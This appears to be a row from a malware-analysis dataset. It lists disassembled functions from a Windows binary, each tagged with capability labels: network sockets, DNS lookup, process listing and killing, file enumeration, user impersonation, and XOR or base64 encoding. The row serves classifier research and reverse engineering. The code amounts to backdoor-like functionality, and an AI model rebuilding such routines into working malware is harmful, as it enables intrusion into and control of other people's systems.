joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006edc
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
inc esi
push edi
mov dword [ebp - 0x18], esi
call fcn.100020f4
push 0
push esi
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x10006f10
mov eax, edi
jmp 0x10006f64
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x14], ax
call sub.WS2_32.dll_htons
and dword [ebp - 0x10], 0
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x18]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
jne 0x10006f43
push esi
call sub.WS2_32.dll_closesocket
jmp 0x10006f0c
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, edi
je 0x10006f3b
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, edi
je 0x10006f3b
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10014062
leave
ret

Function at 0x10006fc6
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov eax, dword [esi]
push edi
xor ebx, ebx
inc ebx
push eax
mov edi, edx
mov dword [ebp - 0x420], ebx
add esi, 4
mov dword [ebp - 0x41c], eax
call sub.WS2_32.dll_ntohl
mov dword [ebp - 0x428], eax
movzx eax, word [esi]
inc esi
push eax
inc esi
sub edi, 6
call sub.WS2_32.dll_ntohs
movzx eax, ax
mov dword [ebp - 0x424], eax
mov eax, 0x3ff
cmp edi, eax
jl 0x10007022
mov edi, eax
push edi
lea eax, [ebp - 0x408]
push esi
push eax
call fcn.1001ad70
add esp, 0xc
mov byte [ebp + edi - 0x408], 0
call fcn.100020f4
push 0
push ebx
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x10007071
push edi
call sub.WS2_32.dll_closesocket
push 4
lea eax, [ebp - 0x41c]
push 4
push eax
call fcn.1000133b
add esp, 0xc
jmp 0x100070fd
lea eax, [ebp - 0x408]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x10007084
push esi
jmp 0x10007054
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x414]
push eax
call fcn.1001ad70
add esp, 0xc
push 2
pop eax
push dword [ebp - 0x424]
mov word [ebp - 0x418], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x416], ax
lea eax, [ebp - 0x420]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
je 0x10007081
push 0x10
lea eax, [ebp - 0x418]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, edi
jne 0x100070f0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10007081
mov ebx, dword [ebp - 0x428]
push esi
call fcn.10006ec1
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10014062
leave
ret
Function at 0x1000710c
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, eax
add ebx, 0x7530
and dword [ebp - 8], 0
mov dword [ebp - 4], 0x64
jmp 0x100071c4
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
xor ecx, ecx
inc ecx
push 0
push 0
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x110], ecx
call dword [sym.imp.WS2_32.dll_select]
lea eax, [ebp - 0x110]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x100071ce
lea eax, [ebp - 0x218]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x100071c4
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x1c]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x100071ce
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x100071ce
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, ebx
jb 0x10007137
pop esi
pop ebx
leave
ret
Function at 0x1000749b
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, dword [0x100367f8]
push edi
xor edi, edi
test esi, esi
je 0x10007521
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [esi + 4]
test eax, eax
jne 0x100074c1
cmp dword [esi + 0xc], eax
jne 0x100074cc
call ebx
mov dword [esi + 0xc], eax
mov edi, esi
mov esi, dword [esi + 0x20]
test esi, esi
jne 0x100074b0
jmp 0x10007520
test eax, eax
jne 0x100074c1
call ebx
sub eax, dword [esi + 0xc]
cmp eax, 0x3e8
jbe 0x100074c1
cmp dword [esi + 0x10], 0
jne 0x100074ed
push 2
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [esi + 0x1c]
call sub.WS2_32.dll_closesocket
test eax, eax
je 0x100074ff
cmp dword [esi + 0x10], 2
je 0x100074c1
mov eax, dword [esi + 0x20]
push esi
test edi, edi
je 0x10007515
mov dword [edi + 0x20], eax
call fcn.10014071
mov esi, dword [edi + 0x20]
pop ecx
jmp 0x100074c6
mov dword [0x100367f8], eax
call fcn.10014071
pop ecx
pop ebx
pop edi
pop esi
ret

Function at 0x10007524
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
push esi
mov esi, dword [0x100367f8]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [0x100367fc], ebx
jne 0x100075f1
push 0x100000
call fcn.1001414e
pop ecx
mov dword [0x100367fc], eax
jmp 0x100075f1
cmp dword [esi + 4], 1
jne 0x100075ee
push dword [esi]
call sub.WS2_32.dll_htonl
mov ecx, dword [0x100367fc]
mov dword [ecx], eax
lea eax, [ebp - 4]
push eax
push 0x4004667f
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 4], 0xffffc
jbe 0x10007595
mov dword [ebp - 4], 0xffffc
cmp eax, 0xffffffff
je 0x100075b9
cmp dword [ebp - 4], ebx
jbe 0x100075ee
push dword [ebp - 4]
mov eax, dword [0x100367fc]
push dword [esi + 0x1c]
add eax, 4
call fcn.10006e14
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x100075d0
push 4
push 4
push dword [0x100367fc]
mov dword [esi + 4], ebx
call fcn.1000133b
add esp, 0xc
jmp 0x100075ee
mov ecx, dword [ebp - 4]
cmp eax, ecx
jne 0x100075ee
push 5
add ecx, 4
push ecx
push dword [0x100367fc]
call fcn.1000133b
add esp, 0xc
inc dword [ebp - 8]
mov esi, dword [esi + 0x20]
cmp esi, ebx
jne 0x1000755a
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret

Function at 0x10008886
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 0x10], 0
push esi
push edi
xor eax, eax
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
call fcn.10006ce4
mov esi, eax
call fcn.10006cf0
mov edi, eax
push edi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100088c9
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x100088db
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push 0x23
call fcn.100019ce
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret
Function at 0x1000894e
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x954
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x7ff
xor edi, edi
lea eax, [ebp - 0x807]
push edi
push eax
mov byte [ebp - 0x808], 0
call fcn.1001bf50
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x954]
call fcn.10006ce4
mov esi, eax
call fcn.10006cf0
mov dword [ebp - 0x934], eax
lea eax, [ebp - 0x954]
push 0x8000
push eax
call fcn.100015eb
add esp, 0x14
cmp dword [ebp - 0x934], edi
jle 0x100089cb
push dword [ebp - 0x934]
lea esi, [ebp - 0x954]
call fcn.1000161e
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.1000311d
pop ecx
test eax, eax
je 0x100089e8
mov dword [ebp - 0x938], 0x1002c764
jmp 0x10008a05
call fcn.1000cbff
mov dword [ebp - 0x938], 0x1002c764
test eax, eax
jne 0x10008a05
mov dword [ebp - 0x938], 0x1002c768
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [ebp - 0x944], esi
cmp esi, 0xffffffff
je 0x10008b8a
lea eax, [ebp - 0x930]
push eax
push esi
mov dword [ebp - 0x930], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10008a45
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10008b8a
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x928]
push edi
call fcn.10006a08
neg eax
sbb eax, eax
and eax, 0xc00
add eax, 0x400
push eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x93c], eax
cmp eax, edi
jne 0x10008aa1
push dword [ebp - 0x928]
lea eax, [ebp - 0x90c]
push dword [ebp - 0x918]
lea esi, [ebp - 0x954]
push eax
push str._s_t_d_t_d_n
call fcn.10001671
add esp, 0x10
jmp 0x10008b27
push eax
lea edi, [ebp - 0x808]
call fcn.100088e6
pop ecx
test eax, eax
jne 0x10008ab8
mov byte [ebp - 0x808], al
lea eax, [ebp - 0x940]
push eax
push dword [ebp - 0x928]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
jne 0x10008ad6
or dword [ebp - 0x940], 0xffffffff
push dword [ebp - 0x93c]
call fcn.1000311d
test eax, eax
pop ecx
mov eax, 0x1002c768
jne 0x10008af1
mov eax, dword [ebp - 0x938]
push dword [ebp - 0x940]
lea ecx, [ebp - 0x808]
push ecx
push eax
push dword [ebp - 0x928]
lea eax, [ebp - 0x90c]
push dword [ebp - 0x918]
lea esi, [ebp - 0x954]
push eax
push str._s_t_d_t_d_t_s_t_s_t_d_n
call fcn.10001671
add esp, 0x1c
xor edi, edi
push dword [ebp - 0x93c]
call ebx
lea eax, [ebp - 0x930]
push eax
push dword [ebp - 0x944]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10008a4b
push dword [ebp - 0x944]
call ebx
lea eax, [ebp - 0x954]
cmp dword [ebp - 0x934], edi
jne 0x10008b63
push 0x11
jmp 0x10008b65
push 0x16
call fcn.100016c7
push eax
lea eax, [ebp - 0x954]
call fcn.100016c4
push eax
call fcn.1000133b
add esp, 0xc
lea eax, [ebp - 0x954]
call fcn.100016ab
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10014062
leave
ret
Function at 0x10008bd6
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, 0x8000
push ebx
call fcn.1001414e
push dword [ebp + 8]
mov edi, eax
push str._s
push ebx
push edi
call fcn.100142a6
mov esi, dword [ebp + 0xc]
add esp, 0x14
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push edi
mov dword [ebp - 4], eax
call fcn.10014071
cmp dword [ebp - 4], 0xffffffff
pop ecx
je 0x10008c95
test byte [esi], 0x10
lea eax, [esi + 0x2c]
je 0x10008c9a
push 2
mov edi, 0x1002c794
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x10008c7b
mov esi, eax
push 3
mov edi, 0x1002c798
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x10008c7b
push ebx
call fcn.1001414e
mov esi, dword [ebp + 0xc]
add esi, 0x2c
push esi
push 0x1002c558
mov edi, eax
push ebx
push edi
call fcn.100142a6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.10008b99
push 1
push edi
push dword [ebp + 8]
call dword [ebp + 0x10]
push edi
call fcn.10014071
add esp, 0x34
mov esi, dword [ebp + 0xc]
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10008c17
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
push 0
push eax
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0xc
jmp 0x10008c7e
Function at 0x10009c43
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
mov esi, 0x200
push esi
mov dword [0x10039884], eax
call fcn.1001414e
push esi
push 0
push eax
mov dword [0x10039888], eax
call fcn.1001bf50
add esp, 0x10
xor eax, eax
xor byte [eax + str.._._._..._._._.._._...], 0x2e
inc eax
cmp eax, 0x1000
jl 0x10009c72
mov ecx, 0x1000
mov edx, str.._._._..._._._.._._...
lea eax, [esp + 0x10]
call fcn.10006ce4
jmp 0x10009d23
lea esi, [esp + 0x10]
call fcn.10006d29
movzx ebx, ax
call fcn.10006d29
movsx edi, di
movzx ecx, ax
mov eax, dword [0x10039888]
shl edi, 3
mov dword [esp + 0xc], edi
add edi, eax
movsx eax, bx
dec eax
mov word [edi], bx
je 0x10009d0b
dec eax
je 0x10009cf2
dec eax
jne 0x10009d23
movsx esi, cx
push esi
call fcn.1001414e
pop ecx
push esi
lea edx, [esp + 0x14]
mov dword [edi + 4], eax
call fcn.10006d4a
push eax
push dword [edi + 4]
call fcn.1001ad70
add esp, 0xc
jmp 0x10009d23
lea esi, [esp + 0x10]
call fcn.10006cf0
mov ecx, dword [0x10039888]
mov edx, dword [esp + 0xc]
mov dword [edx + ecx + 4], eax
jmp 0x10009d23
lea esi, [esp + 0x10]
call fcn.10006d29
mov ecx, dword [0x10039888]
mov edx, dword [esp + 0xc]
mov word [edx + ecx + 4], ax
lea esi, [esp + 0x10]
call fcn.10006d29
movzx edi, ax
test di, di
jg 0x10009c99
push 0x1000
push 0
push str.._._._..._._._.._._...
call fcn.1001bf50
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a099
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
inc dword [0x1003681c]
push 0x27
pop edx
call fcn.10009bf7
cmp ax, 1
jne 0x1000a0b6
pop ebp
jmp fcn.1000a044
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x1000a0ca
Capabilities:
Create thread
Terminate process

Disassembly:
push 0x37
pop edx
call fcn.10009bf7
push 0x27
pop edx
cmp ax, 1
jne 0x1000a0fb
call fcn.10009bf7
cmp ax, 1
jne 0x1000a0f3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000a0e6
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
call fcn.10009bf7
cmp ax, 1
jne 0x1000a123
push 0xffffffffffffffff
xor eax, eax
push eax
push eax
push eax
push dword [sym.imp.KERNEL32.dll_ExitProcess]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1000a4be
Capabilities:
Impersonate user

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
call fcn.1000a16f
push 0x10036824
push 3
push 9
push dword [ebp + 0x10]
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_LogonUserA]
test eax, eax
jne 0x1000a4fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x18
call fcn.10001988
pop ecx
pop ecx
jmp 0x1000a5d3
push dword [0x10036824]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x1000a515
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x19
jmp 0x1000a4ee
push 0x800
call fcn.10006c7d
mov ebx, 0x200
pop ecx
mov esi, ebx
mov edx, eax
mov dword [0x10036834], eax
call fcn.10006d4a
mov edx, dword [0x10036834]
mov dword [0x10036828], eax
call fcn.10006d4a
mov edx, dword [0x10036834]
mov edi, 0x400
mov esi, edi
mov dword [0x1003682c], eax
call fcn.10006d4a
mov esi, 0x100
push esi
push dword [0x1003682c]
mov dword [0x10036830], eax
push dword [ebp + 0xc]
call fcn.10002400
add esp, 0xc
push esi
push dword [0x10036828]
push dword [ebp + 8]
call fcn.10002400
add esp, 0xc
push ebx
push dword [0x10036830]
push dword [ebp + 0x10]
call fcn.10002400
add esp, 0xc
push edi
push dword [0x10036824]
mov edi, dword [ebp + 0xc]
mov dword [0x10036838], 1
call fcn.1000a1ac
pop ecx
pop ecx
test eax, eax
je 0x1000a5d3
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000a5be
sub eax, ecx
push 0xf
push eax
push edi
call fcn.1000133b
add esp, 0xc
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1000a66b
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
mov byte [ebp - 8], bl
mov byte [ebp - 7], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x1000a6d3
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x1000a6ca
mov dword [ebp - 0x10], ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
xor ecx, ebp
pop ebx
call fcn.10014062
leave
ret

Function at 0x1000a77c
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push 0
push 1
lea eax, [esi + edi]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1000a7b4
add esi, eax
cmp esi, 2
jb 0x1000a7ac
cmp byte [esi + edi - 1], 0xa
jne 0x1000a7ac
cmp byte [esi + edi - 2], 0xd
je 0x1000a7ba
cmp esi, 0x800
jb 0x1000a782
or eax, 0xffffffff
pop esi
pop ebp
ret
mov byte [esi + edi - 2], 0
mov eax, esi
jmp 0x1000a7b7
Function at 0x1000a827
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
call fcn.100020f4
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000a85a
push eax
call sub.WS2_32.dll_closesocket
jmp 0x1000a8af
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x14], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x12], ax
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
mov dword [ebp - 0x10], 0x100007f
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1000a889
push esi
jmp 0x1000a853
push 0x78
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x1000a886
push ebx
mov ebx, dword [ebp + 0xc]
push esi
call fcn.1000a6e3
push eax
push 0x1000a7c3
call fcn.1000a099
add esp, 0x10
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10014062
leave
ret

Function at 0x1000aa87
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, eax
xor edx, edx
push 3
lea eax, [edi + 2]
pop ebx
div ebx
mov ecx, dword [ebp + 0x10]
shl eax, 2
inc eax
cmp dword [ecx], eax
jae 0x1000aab1
push 6
mov dword [ecx], eax
pop eax
jmp 0x1000ab93
xor edx, edx
push 3
mov eax, edi
pop ebx
div ebx
mov ecx, dword [ebp + 0xc]
xor edx, edx
imul eax, eax, 3
test eax, eax
jbe 0x1000ab30
dec eax
push ebx
pop edi
div edi
mov edi, eax
inc edi
mov edx, edi
imul edx, edx, 3
movzx eax, byte [esi]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
movzx eax, byte [esi + 1]
movzx ebx, byte [esi]
shr eax, 4
shl ebx, 4
add eax, ebx
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
movzx eax, byte [esi + 2]
movzx ebx, byte [esi + 1]
shr eax, 6
lea eax, [eax + ebx*4]
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
movzx eax, byte [esi + 2]
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
inc ecx
add esi, 3
dec edi
jne 0x1000aad3
mov edi, dword [ebp + 8]
cmp edx, edi
jae 0x1000ab86
movzx eax, byte [esi]
inc edx
cmp edx, edi
jae 0x1000ab42
movzx esi, byte [esi + 1]
jmp 0x1000ab44
xor esi, esi
mov ebx, eax
shr ebx, 2
and ebx, 0x3f
mov bl, byte [ebx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], bl
shl eax, 4
mov ebx, esi
shr ebx, 4
add ebx, eax
and ebx, 0x3f
mov al, byte [ebx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
inc ecx
cmp edx, edi
jae 0x1000ab7c
and esi, 0xf
movsx eax, byte [esi*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0x1000ab7f
push 0x3d
pop eax
mov byte [ecx], al
inc ecx
mov byte [ecx], 0x3d
inc ecx
mov eax, dword [ebp + 0x10]
mov byte [ecx], 0
sub ecx, dword [ebp + 0xc]
mov dword [eax], ecx
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1000c408
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [eax + 0x28], ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], 0x6a09e667
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0x3c6ef372
mov dword [eax + 0x14], 0xa54ff53a
mov dword [eax + 0x18], 0x510e527f
mov dword [eax + 0x1c], 0x9b05688c
mov dword [eax + 0x20], 0x1f83d9ab
mov dword [eax + 0x24], 0x5be0cd19
xor eax, eax
pop ebp
ret

Function at 0x1000c64d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [0x10032c78]
mov ebx, eax
push edi
mov eax, esi
call fcn.1000d3fd
test eax, eax
jne 0x1000c74f
mov ecx, dword [0x10032c7c]
cmp ecx, 1
jl 0x1000c74c
cmp ecx, 0x80
jg 0x1000c74c
mov eax, dword [ebp + 0xc]
xor edx, edx
div ecx
test edx, edx
jne 0x1000c74c
test cl, 3
jne 0x1000c74c
mov edx, esi
imul edx, edx, 0x60
mov edx, dword [edx + 0x10036878]
test edx, edx
je 0x1000c6c5
push 0x10032d00
push 0x10032c80
push eax
push ebx
push dword [ebp + 8]
call edx
add esp, 0x14
jmp 0x1000c74f
cmp dword [ebp + 0xc], 0
je 0x1000c748
mov edi, 0x10032c80
jmp 0x1000c6d8
mov esi, dword [0x10032c78]
xor edx, edx
test ecx, ecx
jle 0x1000c6ff
mov ecx, dword [ebp + 8]
sub ecx, edi
lea eax, [edx + 0x10032c80]
mov esi, dword [ecx + eax]
xor dword [eax], esi
add edx, 4
cmp edx, dword [0x10032c7c]
jl 0x1000c6e3
mov esi, dword [0x10032c78]
imul esi, esi, 0x60
push 0x10032d00
push ebx
push edi
call dword [esi + 0x1003685c]
add esp, 0xc
test eax, eax
jne 0x1000c74f
mov ecx, dword [0x10032c7c]
xor edx, edx
test ecx, ecx
jle 0x1000c73e
mov esi, ebx
sub esi, edi
lea eax, [edx + 0x10032c80]
mov ecx, dword [esi + eax]
mov dword [eax], ecx
mov ecx, dword [0x10032c7c]
add edx, 4
cmp edx, ecx
jl 0x1000c726
add dword [ebp + 8], ecx
add ebx, ecx
sub dword [ebp + 0xc], ecx
jne 0x1000c6d2
xor eax, eax
jmp 0x1000c74f
push 0x10
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1000ca8e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [0x10033da0]
push edi
mov ebx, ecx
mov edi, edx
mov eax, esi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], edi
call fcn.1000d3fd
test eax, eax
jne 0x1000cb9b
mov ecx, dword [0x10033da4]
cmp ecx, 1
jl 0x1000cb98
cmp ecx, 0x80
jg 0x1000cb98
mov eax, dword [ebp + 8]
xor edx, edx
div ecx
test edx, edx
jne 0x1000cb98
test cl, 3
jne 0x1000cb98
mov ecx, esi
imul ecx, ecx, 0x60
mov ecx, dword [ecx + 0x1003687c]
test ecx, ecx
je 0x1000cb19
push 0x10033e28
push 0x10033da8
push eax
push edi
push ebx
call ecx
add esp, 0x14
jmp 0x1000cb9b
cmp dword [ebp + 8], 0
je 0x1000cb94
jmp 0x1000cb27
mov esi, dword [0x10033da0]
imul esi, esi, 0x60
push 0x10033e28
lea eax, [ebp - 0x14]
push eax
push ebx
call dword [esi + 0x10036860]
add esp, 0xc
test eax, eax
jne 0x1000cb9b
mov eax, dword [0x10033da4]
xor edi, edi
test eax, eax
jle 0x1000cb84
mov ecx, dword [ebp - 0x18]
lea esi, [ebp - 0x14]
mov eax, 0x10033da8
sub esi, ebx
sub ebx, eax
sub ecx, eax
mov dword [ebp - 0x20], ecx
lea eax, [edi + 0x10033da8]
lea edx, [ebx + eax]
mov ecx, dword [esi + edx]
xor ecx, dword [eax]
mov edx, dword [edx]
mov dword [eax], edx
mov edx, dword [ebp - 0x20]
mov dword [edx + eax], ecx
mov eax, dword [0x10033da4]
add edi, 4
cmp edi, eax
jl 0x1000cb60
mov ebx, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
add ebx, eax
sub dword [ebp + 8], eax
mov dword [ebp - 0x1c], ebx
jne 0x1000cb21
xor eax, eax
jmp 0x1000cb9b
push 0x10
pop eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10014062
leave
ret